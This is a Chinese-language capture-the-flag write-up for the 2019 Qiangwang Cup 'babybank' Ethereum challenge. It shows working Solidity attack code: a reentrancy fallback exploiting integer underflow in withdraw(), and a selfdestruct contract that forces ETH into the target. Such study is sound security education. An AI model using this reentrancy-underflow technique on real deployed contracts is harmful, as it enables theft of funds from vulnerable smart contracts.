# 2019 强网杯 babybank
# 题目信息
Get the flag after payforflag event is emitted 0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten
在执行完 payforflag 函数后获取 flag,并且给出了题目合约的地址。
同时给出部分合约源码
pragma solidity ^0.4.23; | |
contract babybank { | |
mapping(address => uint) public balance; | |
mapping(address => uint) public level; | |
address owner; | |
uint secret; | |
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. | |
//Gmail is ok. 163 and qq may have some problems. | |
event sendflag(string md5ofteamtoken,string b64email); | |
constructor()public{ | |
owner = msg.sender; | |
} | |
//pay for flag | |
function payforflag(string md5ofteamtoken,string b64email) public{ | |
require(balance[msg.sender] >= 10000000000); | |
balance[msg.sender]=0; | |
owner.transfer(address(this).balance); | |
emit sendflag(md5ofteamtoken,b64email); | |
} | |
modifier onlyOwner(){ | |
require(msg.sender == owner); | |
_; | |
} | |
...... |
知道合约地址的情况下,我们可以通过合约反编译器对题目合约进行反编译来获取合约源码。
反编译出来的代码并不是看的很懂,所以观摩了大佬整理的源码。
pragma solidity ^0.4.23; | |
contract babybank { | |
mapping(address => uint) public balance; | |
mapping(address => uint) public level; | |
address owner; | |
uint secret; | |
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. | |
//Gmail is ok. 163 and qq may have some problems. | |
event sendflag(string md5ofteamtoken,string b64email); | |
constructor()public{ | |
owner = msg.sender; | |
} | |
//pay for flag | |
function payforflag(string md5ofteamtoken,string b64email) public{ | |
require(balance[msg.sender] >= 10000000000); | |
balance[msg.sender]=0; | |
owner.transfer(address(this).balance); | |
emit sendflag(md5ofteamtoken,b64email); | |
} | |
modifier onlyOwner(){ | |
require(msg.sender == owner); | |
_; | |
} | |
//challenge 1 | |
function profit() public{ | |
require(level[msg.sender]==0); | |
require(uint(msg.sender) & 0xffff==0xb1b1); | |
balance[msg.sender]+=1; | |
level[msg.sender]+=1; | |
} | |
//challenge 2 | |
function set_secret(uint new_secret) public onlyOwner{ | |
secret=new_secret; | |
} | |
function guess(uint guess_secret) public{ | |
require(guess_secret==secret); | |
require(level[msg.sender]==1); | |
balance[msg.sender]+=1; | |
level[msg.sender]+=1; | |
} | |
//challenge 3 | |
function transfer(address to, uint amount) public{ | |
require(balance[msg.sender] >= amount); | |
require(amount==2); | |
require(level[msg.sender]==2); | |
balance[msg.sender] = 0; | |
balance[to] = amount; | |
} | |
//leak function | |
function withdraw(uint amount) public{ | |
require(amount==2); | |
require(balance[msg.sender] >= amount); | |
msg.sender.call.value(amount*100000000000000)(); | |
balance[msg.sender] -= amount; | |
} | |
} |
# 源码分析
下面分析一下源码,根据题目要求,我们需要执行 payforflag
这个函数。
在这个函数中,存在一个条件 balance[msg.sender] >= 10000000000
,再看看其他函数,能够帮我们增加 balance 的只有 profit
和 guess
两个函数。 guess
函数中,需要 level[msg.sender]==1
才能够执行,而在 profit
函数中则是 level[msg.sender]==0
,考虑到初始 balance 和 level 为 0,很明显我们需要先执行 profit
函数。
function profit() public{ | |
require(level[msg.sender]==0); | |
require(uint(msg.sender) & 0xffff==0xb1b1); | |
balance[msg.sender]+=1; | |
level[msg.sender]+=1; | |
} |
除了 level 需要为 0, profit
函数还需要一个条件,即 uint(msg.sender) & 0xffff==0xb1b1
,已知 & 运算是相同为 1,不同为 0,因此 msg.sender
的末尾应该为 0xb1b1,即账户地址末四位为 0xb1b1。
这里可以通过一个地址生成器来获取末四位为 0xb1b1 的账户(后面简称账户 A)
https://vanity-eth.tk/
获取到账户 A 后,利用私钥将账户 A 添加至 matemask 钱包,我们通过账户 A 来执行 profit
函数。我们先把合约编码编译并通过编译器的 at address
功能放置在 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c
上(题目给出的合约地址)。
部署好合约后,matemask 中选择连接账户 A, 执行 profit
函数,执行完成后,再下方 balance
和 level
两个按钮中输入账户 A 的地址,可以查看当前 balance 和 level 为 1。
在 level 为 1 后,我们就可以执行 guess
函数了,下面分析一下 guess
函数。
function guess(uint guess_secret) public{ | |
require(guess_secret==secret); | |
require(level[msg.sender]==1); | |
balance[msg.sender]+=1; | |
level[msg.sender]+=1; | |
} |
除了 level[msg.sender]==1
以外,还需要让 guess_secret==secret
, guess_secret
是我们输入的值,那么 secret 又是什么呢?我们看看 set_secret
函数。
function set_secret(uint new_secret) public onlyOwner{ | |
secret=new_secret; | |
} |
可以看到 secret 是由 new_secret 决定的,但是我们注意到 set_secret
这个函数定义时有个 onlyOwner
,
modifier onlyOwner(){ | |
require(msg.sender == owner); | |
_; | |
} |
可以看出,只有合约的主人,也就是部署合约的账户才能够调用 set_secret
函数,显然我们并没有办法重新赋值 secret,那么我们怎么才能知道 secret 到底是什么呢?
我们可以通过区块链浏览器查看一下部署合约的账户 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2
,发现他最后一条交易信息执行的就是 set_secret
函数。
点开这条交易记录,在最下方的 Input Data 中,可以选择 decode data 来查看数据。
可以看到 new_secret 为 1123581321345589
,知道 secret 后,将其输入至 guess
按钮旁的编辑框中,点击 guess
按钮执行函数。待执行完成后再次点击 balance
和 level
两个按钮,可以查看当前 balance 和 level 为 2。
前面我们说到能够帮我们增加 balance 的只有 profit
和 guess
两个函数。现在这两个函数都执行完了,我们的 balance 才为 2,显然不够 payforflag
函数所需要的 10000000000。再看看有没有还没有用到的函数,这时候,我们发现了 withdraw
函数。
function withdraw(uint amount) public{ | |
require(amount==2); | |
require(balance[msg.sender] >= amount); | |
msg.sender.call.value(amount*100000000000000)(); | |
balance[msg.sender] -= amount; | |
} |
仔细观察 withdraw
函数,我们发现了两个敏感点,第一个是 msg.sender.call.value(amount*100000000000000)();
,我们知道 call 函数会造成重入攻击;另一个是 balance[msg.sender] -= amount;
,它会造成整型下溢出。
为了执行上面两句带有漏洞的函数,我们需要通过两个条件,一个是输入的 amount 必须为 2,另一个是我们进行交互的合约的 balance 必须大于等于 amount 也就是 2。因此我们部署一个能够进行重入攻击的合约,通过反复调用 withdraw
函数来让 balance 实现整型下溢出,变成一个极大的数字。
# 进行攻击
pragma solidity ^0.4.23; | |
// 声明合约源码函数 | |
interface BabybankInterface { | |
function withdraw(uint256 amount) external; | |
function profit() external; | |
function guess(uint256 number) external; | |
function transfer(address to, uint256 amount) external; | |
function payforflag(string md5ofteamtoken, string b64email) external; | |
} | |
// 攻击合约 | |
contract attacker { | |
BabybankInterface private target = BabybankInterface(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c); | |
uint private flag = 0; | |
// 攻击函数 | |
function exploit() public{ | |
target.withdraw(2); | |
} | |
// 执行 payforflag 函数 | |
function sendflag() public payable{ | |
target.payforflag("Coldwinds","825592085@qq.com"); | |
} | |
qq.com | |
// 构成 fallback 函数,实现重入攻击 | |
function() external payable{ | |
require (flag == 0); | |
flag = 1; | |
target.withdraw(2); | |
} | |
} |
考虑到执行 payforflag
函数也需要通过该攻击合约进行,所以这里直接给出攻击合约的所有代码。
部署好攻击合约如下图所示:(后面简称合约 B,地址为 0x95eD631946C71bD98C2dB5b23B48297192b19068
)
这时候我们点击 exploit
进行攻击,编译器会提醒我们该操作很可能失败,事实上,失败是必然的。因为执行 withdraw
函数需要我们进行交互的这个地址在必须在题目合约中有 balance,而我们前面获得的 balance 其实是属于账户 A 的,部署的合约 B 在题目合约中没有 balance,自然不能攻击成功。
为了把账户 A 的 balance 转移给合约 B,我们需要执行 transfer
函数。
function transfer(address to, uint amount) public{ | |
require(balance[msg.sender] >= amount); | |
require(amount==2); | |
require(level[msg.sender]==2); | |
balance[msg.sender] = 0; | |
balance[to] = amount; | |
} |
transfer
函数有三个条件,一是交互账户的 balance 必须大于等于 amount,二是 amount 必须等于 2,三是交互账户的 level 必须等于 2,发现账户 A 是符合条件的(balance=amount=2 且 level=2)。因此我们在 transfer
按钮旁的编辑框中输入我们部署的合约 B 的地址,并输入要转移的 balance 数目 amount,即 0x95eD631946C71bD98C2dB5b23B48297192b19068,2
。
transfer
函数执行完成后,我们点击点击 balance
和 level
两个按钮,可以查看当前 balance 为 0 而 level 为 2,将 balance
的地址换成合约 B 后,发现合约 B 的 balance 变成了 2,说明账户 A 的 balance 已经成功转移到了合约 B。
# 避坑!
既然合约 B 已经拥有了 balance,我们就可以点击攻击合约中的 exploit
进行攻击了,吗?
如果你执行了 exploit
函数,那么恭喜你,你可能要重头再来了。
我们再次阅读 withdraw
函数
function withdraw(uint amount) public{ | |
require(amount==2); | |
require(balance[msg.sender] >= amount); | |
msg.sender.call.value(amount*100000000000000)(); | |
balance[msg.sender] -= amount; | |
} |
可以看到其中的 call
函数,我们知道执行 call
函数是需要 gas 的,然而题目合约中是没有 ETH 的,也就无法调用 call
函数。如果这时调用了 withdraw
,不仅不能实现重入攻击,还会导致合约 B 的 balance 被清零!也就无法再次调用 withdraw
了。
为了能够实现重入攻击,我们就需要向题目合约中存入一定量的 ETH。可是看完整篇源码,发现题目合约是不支持正常转入 ETH 的。因此只能通过自毁函数 selfdestruct
来向题目合约强制转入 ETH。
关于
selfdestruct
函数,只要知道它可以用来销毁合约,并将该合约中的 ETH 全部强制转入目标地址。
所以我们部署一个合约 C,并向其中转入 0.2 个 ETH(够题目合约支付 gas 就行)。代码如下:
contract get_money { | |
function kill() public payable{ | |
selfdestruct(address(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c)); | |
} | |
constructor() public payable{ |
部署完合约后,按下 kill
按钮即可销毁合约 C,并将其中的 0.2 个 ETH 转入题目合约。
这时候,执行攻击合约 B 中的 exploit
函数,才能够正确进行重入攻击,发生整型下溢出,让攻击合约 B 拥有大量的 balance。
没转入 ETH 的时候点了
exploit
,导致 balance 被清零,做这道题已经建了好几个 0xb1b1 的账户,实在是不想重新操作一遍了,最后的图就不搞了。
# 成功!
在获取了大量 balance 后,就可以执行 payforflag
函数,点击攻击合约 B 的 sendflag
按钮,即可执行 payforflag
函数,成功达成题目要求!